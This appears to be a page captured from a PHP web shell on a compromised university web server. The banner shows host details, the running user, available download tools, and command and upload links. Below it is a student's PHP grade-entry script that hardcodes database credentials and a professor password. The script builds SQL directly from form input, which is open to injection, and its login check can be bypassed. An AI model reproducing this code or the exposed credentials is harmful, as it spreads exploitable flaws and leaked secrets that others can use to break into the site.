Server IP : 172.16.15.8 / Your IP : 3.145.7.187 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/kfmurray/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File Professor Display.php --> <CENTER> <style> body { background-color: LawnGreen; } </style> <H2> Display Of Table </H2> <HR> <?php session_start(); $userName = $_SESSION['un']; $password = $_SESSION['p']; if($userName != "professor" && $password != "6/29/2018") print "Go Away!!"; else { $useName = $_POST['Sname']; $spass = $_POST['Spass']; $name = $_POST['name']; $course = $_POST['course']; $grade = $_POST['grade']; if(strlen($useName) == 0 || strlen($spass) == 0 || strlen($name) == 0 || strlen($course) == 0 || strlen($grade) == 0) print "one textbox is empty!"; else { $host = 'localhost'; $user = 'kfmurray'; $passwd = 'cs480'; $database = 'kfmurray'; $connect = mysqli_connect($host, $user, $passwd); $query = "insert into PROFESSOR values ('$useName', '$spass', '$name', '$course', '$grade')"; mysqli_select_db($connect, $database); if(mysqli_query($connect, $query)) mysqli_close($connect); include("PROFESSOR.php"); } } ?>